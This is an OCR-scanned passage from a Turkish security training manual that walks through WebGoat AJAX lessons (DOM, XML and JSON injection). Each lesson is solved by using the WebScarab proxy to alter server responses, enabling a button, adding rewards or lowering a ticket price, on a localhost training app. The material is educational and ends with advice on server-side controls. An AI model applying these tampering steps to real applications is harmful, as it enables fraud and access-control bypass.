sahip olan tarayicilarin okuyacagi kodu iceriyorken ekstra kodlama olan Else if kosulu ise
ActiveXObject nesnesine sahip olan tarayicinin okuyacagi kodu igermektedir. new komutu ile
req adli nesne olugturulmus bulunmaktadir. Simdi validate() fonksiyonu igerisindeki bir
sonraki kodlara gbéz atalim:

1 reqg.open ('GET', url, true);
2 reg.onreadystatechange = callback;

3 req.send(null);

Yukaridaki kod blogu XMLHttpRequest nesnesi olan req Uzerinden sunucuya baglanti
kurmaktadir. Sunucuya "url" ile GET talebinde bulunulmaktadir. "url"nin i¢erigi bu boélimin en
basinda verilen kod blogunun 1. ve 2.satirinda olusturulmaktadir. O satirlar sunlardir:

1 var keyField = document.getElementById('key');

var url = 'attack?Screen=74&menu=400&from=ajax&key="
encodeURIComponent (keyField.value) ;

Birinci satir ile ders ekranidaki lisans anahtarinin girilecedi metin kutusu nesnesi kod bazinda
keyField degiskenine atanir. ikinci satirda ise keyField'a atanan metin kutusunun icerdigi
deger url degiskeninin sonuna eklenir. ilgili kodlara geri dénelim:

1 reg.open ('GET', url, true);
2 reg.onreadystatechange = callback;

3 reqg.send(null) ;

reg.open ile sunucuya bir GET talebinde bulunulmaktadir. Buradaki url tipki adi gibi bir
islevde kullaniimaktadir. Yani adres gubuguna url girip site icerigi nasil bekliyorsak yukaridaki
kodlar ile de ayni isi yapiyoruz. Buradaki fark bu talep isini kodlarin yapmasidir. Hem de
sayfayl yenilemeden. req.onreadystatechange = callback; satirinda ise
req.onreadystatechange'e callback adli bir fonksiyon atanmistir(Bu atama Javascript'e
yapanci kimseler i¢in biraz garip gelebilir) Simdi atanan bu fonksiyonu inceleyelim. Bu
fonksiyon validate() fonksiyonundan sonra yer almaktadir:

1 function callback() {
if (req.readyState == 4) {
2 if (reg.status == 200) {
3 var message = reg.responseText;

TUBITAK — BILGEM - Siber Givenlik Enstitisi

85



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: WEBGOAT

4
5 var messageDiv = document.getElementById('MessageDiv');
6
7 try {
8 eval (message) ;
9
10 messageDiv.innerHTML = 'Correct licence Key.'
}
11
catch (err) {
12 . . .
messageDiv.innerHTML = 'Wrong license key.'
13
}
14 }
15
16

Fonksiyonda gordigunuz Gzere iki tane i¢ ice if kosulu vardir. Bu kosullar su anlama gelir:
Eger sunucuya yapiimis olan GET talebi basarili olduysa ilk if'in igine girilir. E§er GET talebi
sonrasi ilgili icerik sunucuda bulunduysa bu sefer icteki if'e de girilir. Boylelikle sunucuda
bulunan igerik tarayiciya gekilir. Bu veriyi cekme islemine parsing denmektedir. Asagida
parse eden kodu gérmektesiniz:

1 if (req.readyState == 4) {
2 if (reg.status == 200) {
3 var message = reg.responseText;

message degiskenine sunucudan gelen veri atanir. Simdi callback fonksiyonunun devamina
bakalim:

var messageDiv = document.getElementById('MessageDiv');

1
2
try {

3

eval (message) ;
4
5

messageDiv.innerHTML = 'Correct licence Key.'
6
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7 catch(err) {

8 messageDiv.innerHTML = 'Wrong license key.'
9 }

10

Ders ekraninda veri girmeden énce goérinmeyen bir alan vardir. O alanin id'si
MessageDiv'dir. O html elemani messageDiv degiskenine yukaridaki kod blogunun ilk
satirinda oldugu gibi atanir. Sonra try bloguna girilir. Eger parse edilen veriyi tutan message
degiskeni sunucudan hata Uretecek bir veri almissa try blodu igerisinde bir hata firlatacaktir.
Bu ylzden hatanin firlatildigi satinnn hemen agagisindaki messageDiv.innerHTML = 'Correct
license Key.' satiri galismayacaktir. Firlatilan hatayi catch blogu yakalayip messageDiv
elemanina "Wrong licence key' bildirimini atayacaktir. Eger girilen lisans anahtari dogruysa
eval() fonksiyonu hata firlatmayacaktir. Boylelikle MessageDiv id'li html elemanina 'Correct
Licence Key' bildirimi atanacaktir. Bu arada eval() fonksiyonu ne diye merak etmis
olabilirsiniz. eval() fonksiyonu argliman olarak aritmetik bir islem girilirse aritmetik islemin
sonucunu dénduren, javascript komutu girilirse javascript komutunu "galistiran" bir
fonksiyondur.

1
function callback() {

2

if (reqg.readyState == 4) {
3

if (reg.status == 200) {

4 var message = req.responseText;
5
6 var messageDiv = document.getElementById('MessageDiv');
7
8 try {
9 eval (message) ;
10
11 messageDiv.innerHTML = 'Correct licence Key.'
12 J

catch(err) {
13

messageDiv.innerHTML = 'Wrong license key.'

14

}
15

}

16
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Buraya kadarki yaptigimiz igi toparlayacak olursak sunu diyebiliriz ki eger lisans anahtari
girilecek yere bir karakter girersek validate() fonksiyonu tetiklenecektir. Girdigimiz karakteri
url degiskeninin sonuna ekleyerek sunucuya talepte bulunacaktir. Sunucu veri gdndermeye
hazir olana kadarki tim asamalarda callback fonksiyonu tetiklenecektir. Clnku callback
fonksiyonu XMLHttpRequest nesnesi olan req'in onreadystatechange event'ine atanmistir.
(reg.onreadystatechange = callback;) Fakat sadece sunucu hazir oldugunda callback
fonksiyonu igerisindeki i¢ ice if'lere girilecektir. Varsayalim ki yanlig lisans anahtar girdiniz.
Yanlis lisans anahtarini alan sunucu hatall bir veriyi message degiskenine dondurecektir.
eval() hata firlatacaktir ve catch blogundaki "Wrong Licence Key' bildirimi ekrandaki html
elemanina atanacak ve ekranda gorunur olacaktir. Eger sunucu kendisine gelen verinin
dogru lisans anahtari oldugunu gérirse ders ekranindaki Active butonunu tiklanabilir yapan
javascript komutlarini message degiskenine génderecektir. Boylelikle eval() hata
firlatmayacaktir ve aldigi javascript komutlarini galistirip ders ekranindaki Active butonunu
tiklanabilir yapacaktir. Sonra 'Correct Licence Key' bildirimi ders ekranindaki html elemanina
atanacaktir.

Bdylelikle bu dersin kodunu anlamlandirmis olduk. Simdi sira dersi gézmekte.

Dersin Coziimi

Bu dersi ¢cdzmek icin WebScarab yazilimindan faydalanacadiz. Oncelikle WebScarab
yazilimindaki Intercept sekmesine tiklayin. Ardindan Intercept Response kutucuguna tick
isareti koyun.

= @ WebScarab Lite
File View Tools Help

Summary Intercept

Intercept requests: [ ] Case Sensitive Regular Expressions ? []
Methods Include Paths matching :

Exclude paths matching :

Intercept responses : Q

Only MIME-Types matching :
text/.™

Used 19.92 of 1310.25MB

Ardindan ders ekranina donun ve lisans anahtari girilecek metin kutusuna bir sey girin.
Girdiginiz veri sunucuya talep olarak AJAX teknolojisi ile gidecektir. Sunucudan lisans
anahtari dogru ya da yanlis seklinde bir yanit geldiginde ise WebScarab yazilimi bunun

TUBITAK — BILGEM - Siber Givenlik Enstitisi

88



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: WEBGOAT

onunu kesecektir ve ekrana bir popup penceresi gelecektir. O penceredeki Text sekmesine
tiklayin ve igerigi komple silin! Ardindan su javascript komutlarini sildiklerinizin yerine girin:
"document.form.SUBMIT.disabled = false;" Bdylelikle Active butonunu tiklanabilir yapmis

olmaktasiniz ve ayrica 'Correct Licence Key' bildirimini ekranda goruntulemis olmaktasiniz.

Intercept requests: [ | Int

Parsed | Raw

CET http://localhost 8080/ WebGoat/attack?screen=74&8menu=400&from=ajax&key=s HTTP/1.1
Host: localhost: 8080

User-Agent: Mozilla/5.0 <11, Ubuntu; Linux xB6_64; ns38.0) Cecko /20100101 Firefox/38.0
Wooept: text/html, application/xhtmi+xml, application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-Us,en;q=0.5

Accept-Encoding: gzip, deflate

Feferar: hitp://localhost 8080/ WebGoat/attackyScreen=74&menu=400

Cookie: JSESSIONID=9E662C0323089401B8AESC320943F301

Connection: keep-alive

luthorization: Basic Z3VIc3Q&6Z3VIc30=

W

Parsed | Raw

Version Status Message
HTTF/1.1 200 [4]4

Header Value
Server Apache-C. ..
Cache-Co... |private
Expires Thu, 01 ]...
Content-T... [text/html;...
Transfer-... [chunked
T PP AP PP P P P PP P TP PP TP PP

(HTML [ XML [ Text | Hex |
document form SUBMIT. disabled = false;|

Accept changes I Cancel changes Abo

Ardindan Accept Changes diyerek popup'l kapatin. Goreceginiz Uzere ders ekraninda buton
aktiflesmistir ve Correct Licence Key bildirimi goérintilenmektedir. Dersi tamamlamak
icin Active butonuna tiklamaniz yeterlidir(NOT: WebScarab'da halen Intercept Response
kutucugu tick'li oldugu igin butona tikladiginizda yeni bir popup penceresi gelecektir. Bu
pencereyi de Accept Changes diyerek gecin.Dersi tamamlamis bulunmaktasiniz. Diger
derslerde sizi rahatsiz etmemesi icin WebScarab'in Intercept Response kutucugunun tick'ini
kaldirabilirsiniz.)

Sonug¢

Bu derste AJAX teknolojisiyle sunucu iletisimini deneyimlemis olduk. Kodlara da biraz vakif
olduk. Dersten yapilabilecek ¢ikarim sudur: Eger bir websitesi erisim kisitlamasini sunucu
tarafli degil de bu dersteki gibi istemci tarafli yaparsa bu gtivenlik agigina sahip sistem (zerinde
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istemci tarafli olan kalkanlar, inmis html dosyasi Uzerinde elle manipulasyon yaparak ya da
mesela bu derste yaptigimiz gibi WebScarab yazilimi gibi bir proxy ile DOM Injection yaparak
kaldirilabilir ve erisim kolaylikla saglanabilir. Bu ders senaryosuna gére ders ekranindaki
uygulamaya giris islemi epostaya gdnderilmis lisans anahtarinin girilmesi ile mimkin
kiinmistir ve eger lisans anahtari yanhs giriimigse istemci tarafindaki giris kisitlamasi olan
buton tikini kaldirma islemi devreye koyulmustur. Halbuki istemci tarafindaki giris kisitlamasi
olan buton tikini kaldirmayr DOM Injection yaparak kaldirabilir ve yanlis lisans anahtan
olmasina ragmen bu derste gordigunuz uzere buton tiklanabilir yapilabilir ve nihayetinde
sisteme giris saglayabiliriz. Bu derste ve 6nceki derslerde gérdiginiz tzere istemci tarafli
saglanan guvenlik sadece kotu niyet tasimayan ve "yanliglhkla" sisteme zarar vermemesini
istedigimiz kisiler icin koyulmalidir. Fakat ayni zamanda kotu niyetli kigilerden sistemi korumak
istiyorsak o zaman sunucu tarafli bir glivenlik énlemi de alinmalidir. Yani sunucu tarafindaki
programlama dili ile mesela dogru lisans anahtari girildiginde if, yanlis lisans anahtari
girildiginde else kosulunun galigtirihp ekrana ilgili icerigin yansitildigi bir erigsim kontrolu
olusturulabilir. Eger bdyle yapilmazsa ve bu derste oldugu gibi erisim gecidi bir butonu
tiklanamaz hale sokarak kapatilirsa bu tam anlamiyla bir akil tutulmasi olur. Clnkl daha
Onceden de soyledigimiz gibi istemci tarafl filtrelemeler, kontroller istenildigi takdirde kolayca
atlatilabilir. Tiklanamaz bir butonu biz bu derste WebScarab sayesinde tiklanabilir yaptik. Eger
sunucuda az oOnce bahsedilen if-else kosullar ile icerik sunma kontroli yoksa butonu
tiklanabilir yaparak erisim gecidinden kolaylikla gegebilir ve erisememiz gereken bilgilere
erisebiliriz. Sonug olarak istemci tarafli kontroller masum kullanicilar igin yonlendirme amaclh
kullaniimaliyken sunucu tarafli kontroller ise kotu niyetli kullanicilari engellemek icin
kullaniimalidir. Yani her iki kontrol de gereklidir. Biri olmazsa denge bozulur.
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DERS 15 - AJAX SECURITY > XML INJECTION

AJAX Security Unitesinin dérdinci dersi olan XML Injection(Extensible Markup Language
Enjeksiyonu) dersinde Ajax'in sunucu ile aligverisinde kullanilan XML igerigine enjeksiyon
yapilarak sistemin bize sundugu o6dilden daha fazlasini alma tesebbistinde bulunmus
olacagiz.

Dersin Hedefi

WebGoat-Miles firmasi ders ekraninda size mevcut tum &dul mil'lerini gostermektedir.
Account(Hesap) ID'nizi girdiniz mi ders ekrani asagi tarafta size bakiyenizi ve alabileceginiz
Urtinleri gosterecektir. Hedefiniz gérmeye izinli oldugunuz édiller kiimesine daha fazla 6dul
eklemeyi denemektir ve boylelikle daha fazla 6dul alabilmektir. Account ID'niz 836239'dur.

Aciklamalar

Bu ders size nasil XML Enjeksiyon saldirisi yapilirt 6gretmektedir. AJAX uygulamalari sunucu
ile veri degistokusu yapmak igin XML kullanirlar. AJAX iletisimi sirasinda bu XML'in 6n0 kéta
niyetli bir saldirgan tarafindan kolaylikla kesilebilir ve XML verisi degistirilebilir. Daha 6nceki
derslerimizde AJAX'dan bahsetmistik(bkz. Ders 11). Bu derste ise XML'den bahsedilecektir.

XML, bir veri tanimlama ve tasima dilidir. Agilimi Extensible Markup Language'tir. Asagida bir
xml drnedi gormektesiniz:

1 <note>

2 <to>Hasan</to>

3 <from>Enes</from>

4 <heading>Yarinki Bulusma Hakkinda</heading>

5 <body>Yarinki bulusmayi ertelesek olur mu?</body>
6 </note>

Yukarida goérdugunuz tzere bir mail'i xml olarak ifade etmis olduk. Bdylece bu veriyi gerektigi
durumda sunucudan duzenli bir sekilde ¢cekebiliriz. Fakat sunu da hemen belirtmis olalim:
XML bir veritabani degildir. XML'i anlamak i¢in sanirim HTML'le farkina deginmekte fayda
var. Bilirsiniz, HTML'de biz éntanimh tag'lar kullaniriz. Mesela <b></b> ya da <body></body>
gibi. XML'de ise dntanimli bir tag yoktur. Tag'lari kendimiz olugtururuz. XML'e bu yuzden
Extensible denmistir. Yukaridaki XML kodunu .xml uzantil bir dosyaya kaydedip tarayicida
goruntilemeye calistiginizda html bilen sizler igin pek de ummadiginiz bir goruntu ¢ikacaktir.
Sadece verilerin siralanigini géreceksiniz. XML'i HTML gibi diguinmeyiniz. HTML

veriyi gosterim icin tasarlanmigs bir dilken XML ise veriyi tanimlamak ve tagimak icin
tasarlanmisg bir dildir. XML kuguk ebatl verilerin AJAX yoluyla taginmasinda kullanilir. Mesela
egder html dokimaninizda dinamik veri gdsterme ihtiyaci duyuyorsaniz bunun igin html
dékimaninizi her defasinda diizenlemeniz ¢ok buyuk bir is yukuadur. Halbuki XML ile veri xml
sayfalarinda ayri bir sekilde depolanabilir ve bu sekilde siz HTML sayfanizi degistirmeden
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birkag javascript kodu ile html sayfanizi glincelleyebilirsiniz.

Reel diinyada bilgisayar sistemleri ve veritabanlari birbirleri ile uyumsuz formatlarda veriler
icermektedir. XML verisi ise bunlarin aksine diz bir metin belgesinde verileri depolamaktadir.
iste bu yiizden xml verileri yazilimsal olarak ve donanimsal olarak bagimsiz bir veri
depolama yontemi sunar. XML, farkli uygulamalar tarafindan paylasilan veriyi olusturma
konusunda kolaylik sunar.

Dersin Coziimii

AJAX uygulamasinin calisma igleyisini anlamak icin énce WebScarab'inizdaki Intercept
sekmesine tiklayin ve gelen ekrandaki Intercept Request ve Intercept Response tick'lerini
isaretleyin.

WebScarab Lite
File View Tools Help

Summary Intercept

| Intercept requests: Case Sensitive Regular Expressions ? [_]

1 Methods Include Paths matching :

GET - |
POST Exclude paths matching :

HEAD |_*‘.,.(gifljpglpnglcssljslicolswflaxd.*)$ |
{j PUT

Il DELETE
TRACE
PROPFIND
OPTIONS

S

Intercept responses ::|
Only MIME-Types matching :
[texty.*

T —

Ardindan account ID'niz olan 836239 numarasini ders ekranindaki metin kutusuna girin.
Kaynak koddan da gorebileceginiz Uzere metin kutusuna girilen her bir karakter sonrasi
getRewards() fonksiyonu tetiklenmektedir. Clnki metin kutusuna asagida paylastigim
kaynak koddan da goérebileceginiz (izere onkeyup="getRewards();" eklenmistir.
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<input id="accountID" onkeyup="getRewards();" wvalue="" name="accountID"
type="TEXT">

getRewards() fonksiyonu ise yine kaynak koddan gérebileceginiz tizere bir AJAX baglantisi
kurmaktadir ve sunucudan gelen xml verisine gore ekrana odulleri siralamaktadir. Merak
edenler icin kodu asagida paylasiyorum:

1 function getRewards () {
2 var accountIDField = document.getElementById('accountID');
3
4 if (accountIDField.value.length < 6 ) {
5 return;
6 }
7
8 varurl = 'attack?Screen=59&menu=400&from=ajax&accountID=" +
encodeURIComponent (accountIDField.value) ;
9
10 if (typeof XMLHttpRequest != 'undefined') {
11 req = new XMLHttpRequest () ;
12 }
13 else if (window.ActiveXObject) {
14 req = new ActiveXObject ('Microsoft.XMLHTTP') ;
}
15
16 reqg.open('GET', url, true);
reqg.onreadystatechange = callback;
17
req.send(null);
18
}
19
20 .
functioncallback() {
21 if (reqg.readyState == 4) {
22 if (reqg.status == 200) {
23 var rewards = reqg.responseXML.getElementsByTagName ('reward') ;
24 var rewardsDiv = document.getElementById('rewardsDiv');
25
26 rewardsDiv.innerHTML = '';
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27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

var strHTML="";

StrHTML = '<tr><td> </td><td><b>Rewards</b></td></tr>"';

for (var i=0; i< rewards.length; i++) {

StrHTML = strHTML + '<tr><td><input name="check' + (i+1001)
+'" type="checkbox"></td><td>";

StrHTML = strHTML + rewards[i].firstChild.nodeValue +
'</td></tr>';

}

strHTML '<table>'+ strHTML + '</table>';

strHTML

'Your account balance is now 100 points<br><br>' +
SstrHTML;

rewardsDiv.innerHTML = strHTML;

Account ID'nizi girdikten sonra AJAX ile sunucu baglanti talebi icin bir WebScarab popup'i
ekrana gelecektir. Bu popup penceresinde gorebilecediniz Uzere girdiginiz account ID GET
talebinin url'sinin sonuna eklenmistir.
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< Edit Request

| Intercept requests : Intercept responses :

Parsed | Raw

Method URL Version
[cET ] |hup://1ocalhost 8080/ Web Goat/anackzScraen=>5 9&menu=400&from=ajaxzaccouniD=836239 | HTTP/L.1]
Header
Host localhost: 8080 - -
lser-Agent Mozilla/5.0 (<11, Ubunty; Linux x86_84; nv38.0) Cecko/20100101 Firefox/3Q.0 L Insert
Accept text/html, application/xhtmi+xml, application/xml;q=0.9,%/*0=0.8
Accept-Language en-Us, en;g=0.5 Delete
\Accept-Encoding  |gzip, deflate -
<] I [ [»]
R W T
Hex
Position |0]1]2]3[4[5]6]7]8]9]A[B[CID]E[F] String
T T T TR T e E eI e T r T o re T, :

Parsed Raw

Version Status Message

Header | Value
4] il I [
T
Hex
Position | 0[1[2[3[4[5[6[7[8[a[A[B][C[D[E[F] string |
| Accept changes I Cancel changes | Abort request | | Cancel ALL intercepts

Bu popup icin Accept Changes diyerek talebin sunucuya gitmesine izin verin. Ardindan
sunucudan AJAX baglantisi icin yanit gelecektir ve bu yine ekrana popup penceresi seklinde
yansiyacaktir. Bu yansiyan yeni popup penceresindeki Raw sekmesine tiklayin. Bdylece
sunucudan gelen yanitin iginde ne var gérmis olursunuz:

Edit Response

Intercept requests : Intercept responses :

Parsed | Raw

Method URL Version
GET ity //localhost- 8080/ WebGoat/atack?Screan=598manu=400&from=ajax&accountiD =836239 HTTP/1.1

Header Value
Host localhost:B080 |~
Lser—Agant Mozillass. 0 X111 Ubuntu: Ling 6 64 3 Oi Gecko/20100101 Firefox/38.0 | ||L
4 [l ]
v

o

Parsed | Raw

HTTP/1.1 200 0K

Server: Apache-Coyote /1.1

Cache-Contral: no-cache

Expires: Thu, 01 Jan 1970 01:00:00 CET

Content-Type: text/xml
-Transfer-Encoding: chunked

Date: Mon, 06 Jul 2015 18:23:35 CMT

Content-length: 136

<root>

<reward>WebCoat Mug 20 Pts < /reward >
<reward >=WebCoat t-shirt 50 Pts< freward >
<reward »WebCoat Secure Keattle 30 Pis< /reward>

< [root>

Accept changes I Cancel changes Abort request | | Cancel ALL intercepts

Sari ile isaretlenmis bolge sunucuya giden bizim account ID'mize karsilik sunucunun bize
gonderdigi xml verisini temsil etmektedir. Simdi bu sari ile vurgulanmis bdlgedeki xml verisini
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silin ve yerine sunlari yapistirin:

1
<root>
2 <reward>WebGoat t-shirt 20 Pts</reward>
3 <reward>WebGoat Secure Kettle 50 Pts</reward>

4 <reward>WebGoat Mug 30 Pts</reward>
5 <reward>WebGoat Core Duo Laptop 2000 Pts</reward>
6 <reward>WebGoat Hawaii Cruise 3000 Pts</reward>

</root>

Edit Response

Intercept requests : Intercept responses :

l/Parsed rRaw |

Method URL Version
GER http: //localhost: 8080/ WebGoat/attackScreen=598menu=400&from=ajax&accountiD=836239 HIFHE 11

Header Value
Host localhost: 2080 |~
Usler—Auent Mozillals. 0 <11 Ubuntu: Linux x86 64 no38 Qi Cecko/20100101 Firefox/38.0Q | ||L
1 [l 4

-

-

Parsed | Raw

HTTFP/1.1 200 OK

Gerver: Apache-Coyote/1.1
Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 01:00:00 CET
Content-Type: text/xml
-Transfer-Encoding: chunked

Date: Mon, 06 Jul 2015 18:23:35 GMT
Content-length: 136

<root>

<reward:=WebGCoat t-shirt 20 Pts</reward =
<reward:>WebGoat Secure Kettle 50 Pts< freward =
<reward:>=WebGoat Mug 30 Pts< freward>
<reward=WebGoat Core Duo Laptop 2000 Pts</reward =
<reward:>WebGoat Hawaii Cruise 3000 Pts</reward=

< /root=

Accept changes I Cancel changes Abort request | | Cancel ALL intercepts

Sonra popup penceresindeki degisiklikleri onaylayan Accept Changes butonuna tiklayin.
Bdylelikle ders ekranina normalde size gosterilmemesi gereken ddullerin de gosterildigini
goreceksiniz. Yeni eklediginiz 6dlllere tick isareti asagidaki gibi koyunuz:
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Welcome to WebGoat-Miles Reward Miles Program.

Rewards available through the program:

-WebGoat t-shirt 50 Pts
-WebGoat Secure Kettle 30 Pts
-WebGoat Mug 20 Pts
-WebGoat Core Duo Laptop 2000 Pts
-WebGoat Hawaii Cruise 3000 Pts

Redeem your points:

Please enter your account 1D: 836239

Your account balance is now 100 points
Rewards
~ | WebGoat t-shirt 20 Pts
| WebGoat Secure Kettle 50 Pts
| WebGoat Mug 30 Pts
& WebGoat Core Duo Laptop 2000 Pts

& WebGoat Hawaii Cruise 3000 Pts
Submit

Created by Sherif -
Koussa DOMWarESECUTED

Ardindan submit butonuna tiklamadan énce bizi gereksiz yere rahatsiz etmemesi igin
WebScarab'a koydugunuz iki tick'i de kaldirin ve sonra ders ekranindaki submit butonuna
tiklayarak dersi tamamlayin.

Sonug¢

Bu dersteki glvenlik acigi édnceki derslerde de oldugu gibi kisitlamanin sadece istemci
tarafinda yer almasidir. Bu derste siralanan édullere xml enjeksiyonu yaparak arttirdik ve bu
odullere submit butonu ile sahip olabildik, ¢linki senaryo geregi sunucu tarafinda bizim gibi
bazi édullere izinli olmayanlar icin bir if, else-if kosulu(énlemi) konmamis. Burada akliniza
sOyle bir soru gelebilir: Peki olmayan ddulleri nereden biliyoruz ki ekleyebiliyoruz? Sorunun
cevabi Dersin Hedefi basliginda yazili metnin alti ¢izili olan s6zcik dbedinde yatmakta. Ders
ekrani zaten sisteme kayitli tim 6dulleri bize ekranda sunmus.
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Solution Videos Restart this Lesson

WebGoat-Miles Reward Miles shows all the rewards available. Once you've entered your account
1D, the lesson will show you your balance and the products you can afford. Your goal is to try to add
more rewards to your allowed set of rewards. Your account ID is §36239.

Welcome to WebGoat-Miles Reward Miles Program.

Rewards available through the program:

-WebGoat t-shirt 50 Pts
-WebGoat Secure Kettle 30 Pts
-WebGoat Mug 20 Pts
-WebGoat Core Duo Laptop 2000 Pts
-WebGoat Hawaii Cruise 3000 Pts

Redeem your points:

Please enter your account ID: 836239

Youraccount balance is now 100 points

Rewards
7] WebGoat t-shirt 20 Pts

" | WebGoat Secure Kettle 50 Pts
[T WebGoat Mug 30 Pts
&/ WebGoat Core Duo Laptop 2000 Pts

& WebGoat Hawaii Cruise 3000 Pts

submit

Created by Sherif .
Koussa SOftWareSECUTED

Bize verilen bu bilgiden ¢ikarimla biz de xml enjeksiyonu yaparak yeni 6dullere sahip olmus
olduk. Tabi burada bir nGans farki vardir. Belki ders ekranina sunulan tim 6dullerin isimleri
ile bu éddlleri ifade eden sistemdeki veriler ayni string'le ifade edilmemis olabilir. Bu durumda
kotu niyetlinin yapabilecegi islem deneme ve yanilma yapmaktir. Bu ders ekraninda 6dullerin
isimleri ile sistemde kayitli olduklari hallerinin iliskisini su sekilde tespit edebiliriz: Bir 6dulin
checkbox'ina sag tiklayin ve Ogeyi Denetle(Inspect Element) deyin. Asagi agilan panelden
html nesnesinin name attribute'undaki degerine bakin.
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HS FOUSSE = === 77 s e s
Waiting for localhost...

(~8 3 Inspector > Console | @ Debugger [# style Editor |® Perform... | T Network
< | > divitlessonArea divitlessonContent form div#frewardsDiv > table tbody tr td m >
<tr></tr>
<tr></tr>
<tr></tr>
<tr>
<td>
<input type="checkbox" name="checklB84"></input=>

</td>
<td=</td>
</tr>
<tr></tr>
</tbody>

Bu islemi sirasiyla tim checkbox'lara uyguladiginizda goéreceksiniz ki éddlleri ifade eden
sisteme kayitl degiskenlerin isimlendirimesinde lineer bir artis vardir: "checkbox1001",
"checkbox1002", "checkbox1003". Buradan hareketle kotl niyetli kisi bir diger odulin
"checkbox1004" olacagdini kolaylikla tahmin edebilir. Veyahut "checkbox1000"i deneyebilir.
Gorduguniz Gzere boylelikle istemci tarafli bir erigim kisitlamasi engelini asarak ddullere sahip
olmus olduk.
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DERS 16 - AJAX SECURITY > JSON INJECTION

AJAX Security Unitesinin besinci dersi olan JSON Injection(JavaScript Object Notation
Enjeksiyonu) dersinde bir 6nceki derslerle ayni mantikda kod enjeksiyonu yapilacaktir.
Boylelikle ucuza ugak bileti almis olacagiz.

Dersin Hedefi

Boston'dan Seattle'a seyahet edecek bir musterisiniz. Bi' kez havalimaninin 3 karakterli
kodunu metin kutularina girdiniz mi AJAX talebi bilet Ucretini sorgulamak igin
calistirilacaktir(Boston'in kodu BOS, Seattle'inki ise SEA'dir). Fark edeceksiniz ki biri
aktarmasiz yani pahali olan, digeri aktarmall yani ucuz olan mevcut iki ugus secenegi vardir.
Hedefiniz pahali olan ugus biletini daha ucuza almaktir.

Aciklamalar

Javascript Object Notation(JSON) basit, ama verimli bir hafifsiklet veri degistokus formatidir.
JSON yaygin bir sekilde AJAX igerisinde kullaniimaktadir. JSON metni tipki XML metni gibi
herhangi bir programlama dili tarafindan veri formatinda okunabilir, parse
edilebilir(ayristinilabilir) ve kullanilabilir. JSON, XML'in alternatifidir. JSON ile XML'in farki
JSON'In XML'den daha hizl ve kolay olugudur. Bu yuzden XML'e gére JSON, programcilar
tarafindan daha fazla ragbet gérmektedir. JSON ile XML'in en buyuk farki sudur: XML, bir XML
parser tarafindan ayristirilabiliyorken JSON standard bir javascript fonksiyonu ile
ayristirilabilmektedir. Bunlarin yanisira olumsuz bir ortak yonlerinden bahsedecek olursak
XML gibi JSON da enjeksiyon saldirilarina karsi meyillidir. Koti niyetli bir saldirgan sunucudan
gelen yanitin 6nunu keserek enjeksiyon saldirisi yapabilir, yani yanitin icerigine bazi degerler
girebilir ve igleyisi kendi menfaatine gore degistirebilir. Bu derste bu kotu niyetli kisinin rolini
similasyonun senaryosu geregi biz aliyoruz ve pratikte sunucudan gelen yanitin 6ninu kesip
kod enjekte ederek saldirida bulunuyoruz.

Dersin Coziimi

Onceki derslerde oldugu gibi yine sunucudan gelen yanitin éniini kesip yaniti manipule
etmeniz gerekmektedir. Oncelikle WebScarab'in Intercep sekmesine tiklayin ve Intercept
Response kutucuguna tick isareti koyun.
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WebScarab Lite
File View Tools Help

Summary Intercept

Intercept requests : |[| Case Sensitive Regular Expressions ? [_]

Methods Include Paths matching :
GET
POST Exclude paths matching :
HEAD
PUT
DELETE
{|TrRaCE

f| PROPFIND
OPTIONS

Intercept responses:
Only MIME-Types matching :

[texts.*

EE T——

Ardindan ilk metin kutusuna BOS, ikincisine ise SEA yazin.

Choose another language: | English 2

OWASP WebGoat v5.4

Introduction
General
Access Control Flaws

Solution Videos

AJAX Security

@ Same Orngin Policy
Protection

& LAB: DOM-Based
cross-site scripting
&

¥ XML Iniection
JSON Injection
Silent Transactions Attacks

Dangerous Use of Eval

LAB: Client Side Filtering

DOM Injection

*You are traveling from Boston, MA- Airport code BOS to Se:
* Once you enter the three digit code of the airport, an AJAX
ticket price.

*You will notice that there are two flights available, an expe
cheaper one with 2 stops.

*Your goal is to try to get the one with no stops but fora ch

From: | BOS
To: |SEA
_Submit

AJAX talebi arkaplanda sunucuya gonderilecektir ve bu talebe karsi sunucudan bir yanit

gelecektir. Fakat WebScarab ile yanitlarin 6ninu kes dedigimiz i¢in yanit bize, yani tarayici
ekranina varmadan WebScarab tarafindan tutulacaktir ve bir webscarab popup penceresi

ekrana gelecektir. Bu pencerede asagidaki resimden de gorebilecediniz Gzere popup

penceresinin Raw sekmesine tiklanildiginda http header ve json kodlari yer almaktadir. Bu

bizim yanitin icerigini temsil eden kodlardir.
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Edit Response

Intercept requests : [ Intercept responses:

Parsed rRaw |

CET http://localhost: 2080/ WebCoat/attacksScreen=43&menu=400&from=ajax&travalFrom=B05&travelTo=5EA HTTP/1.1
Host: localhost: 8080
User-Agent: Mazilla/S. 0 (£11; Ubuntu; Linux x86_64; rnv39.0) Gecko/20100101 Firefox/39.0
cept: text/html, application/xhtrml+xml, application/xml;q=0.9,7/q=0.8
cept-Language: en-Us,en;q=0.5 ]
cept-Encoding: gzip, deflate
Rafarﬂr http://localhost: 8080/ WebGoat fattack?Screen=43 8menu=400

. erccionun A FF4rNOETAC194140AACCErdT 40T
| RN R T Y R R R KR

Parsed rRaw |

HTTP/1.1 200 OK

erver: Apache-Coyote/1.1
Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 01:00:00 CET

e ,< HTTP Header

[»

-

-Transfer-Encoding: chunked
Date: Tue, 14 Jul 2015 16:48:23 GMT
Content-length: 162

"From": "Boston”,

JSON Kodlari
'ﬂigmi [

"stops": 0 lrahsn UNPAY "price”; 5600}

"stops": "transit" ; "Mewark, Chicago”, "price”: "$300"}

! Accept changes I Cancel changes Abort request | | Cancel ALL intercepts

JSON kodlari ¢ok basit bir syntax'a, yani s6z dizimine sahip oldugundan sanirim biletlerin
ugus fiyatlarini gésteren kisimlari fark etmigsinizdir. $600 ve $300 yazan kisimlardan $600
kisminin degerini 600 dolardan kugik bir deger ile degistirin. Ben 300 yaziyorum.

Parsed | Raw |

HTTP/1.1 200 OK

erver: Apache-Coyote/1.1
Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 01:00:00 CET
Content-Type: text/html
-Transfer-Encoding: chunked

Date: Tue, 14 Jul 2015 144829 CMT
Content-length: 169

'From™: "Bostan”,

Tao": "seattle”,

Tlights": [

